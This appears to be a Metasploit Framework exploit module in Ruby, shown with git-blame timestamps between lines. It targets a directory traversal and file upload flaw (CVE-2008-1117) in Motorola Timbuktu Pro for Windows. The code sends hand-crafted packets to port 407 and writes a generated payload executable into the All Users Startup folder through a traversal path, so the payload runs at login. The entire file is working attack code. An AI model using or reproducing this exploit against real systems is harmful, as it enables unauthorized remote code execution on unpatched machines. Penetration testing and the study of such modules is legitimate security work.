2009-09-26 00:04:00 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-09-26 00:04:00 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-09-26 00:04:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-09-26 00:04:00 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
2010-09-20 04:38:13 +00:00
|
|
|
include Msf::Exploit::EXE
|
2009-09-26 00:04:00 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-11-24 19:35:38 +00:00
|
|
|
'Name' => 'Timbuktu Pro Directory Traversal/File Upload',
|
2009-09-26 00:04:00 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerablity in Motorola's
|
|
|
|
Timbuktu Pro for Windows 8.6.5.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2009-10-04 23:38:06 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-10-14 11:45:14 +00:00
|
|
|
[ 'CVE', '2008-1117' ],
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'OSVDB', '43544' ],
|
2009-09-26 00:04:00 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'May 10 2008'))
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(407),
|
|
|
|
OptString.new('PATH', [ true, 'The path to place the executable.', '\\../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
|
|
|
|
], self.class)
|
2009-09-26 00:04:00 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
exe = rand_text_alpha(8) + ".exe"
|
2010-09-20 04:38:13 +00:00
|
|
|
data = generate_payload_exe
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
pkt1 = "\x00\x01\x6B\x00\x00\xB0\x00\x23\x07\x22\x03\x07\xD6\x69\x6D\x3B"
|
|
|
|
pkt1 << "\x27\xA8\xD0\xF2\xD6\x69\x6D\x3B\x27\xA8\xD0\xF2\x00\x09\x01\x41"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x01\x97\x01\x41\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\xB7\x1D"
|
|
|
|
pkt1 << "\xBF\x42\x00\x00\x00\x00\x7F\x00\x00\x01\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt1 << "\x00\x00\x00\x00\x00\x00"
|
|
|
|
|
|
|
|
pkt3 = "\xFB\x00\x00\x00\x00\x54\x45\x58\x54\x74\x74\x78\x74\xC2\x32\x94"
|
|
|
|
pkt3 << "\xCC\xC2\x32\x94\xD9\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00"
|
|
|
|
pkt3 << "\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt3 << "\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt3 << [datastore['PATH'].length + exe.length].pack('C') + datastore['PATH'] + exe
|
|
|
|
|
|
|
|
print_status("Connecting to #{rhost} on port #{rport}...")
|
|
|
|
|
2009-09-26 00:04:00 +00:00
|
|
|
sock.put(pkt1)
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.15)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
sock.put("\xFF")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.15)
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sock.put(pkt3)
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.15)
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sock.put("\xF9\x00")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.15)
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
print_status("Sending EXE payload '#{exe}' to #{rhost}:#{rport}...")
|
|
|
|
sock.put("\xF8" + [data.length].pack('n') + data)
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,5)
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sock.put("\xF7")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.15)
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sock.put("\xFA")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.15)
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sock.put("\xFE")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.08)
|
2009-09-26 00:04:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
print_status("Done!")
|
|
|
|
disconnect
|
2009-09-26 00:04:00 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
end
|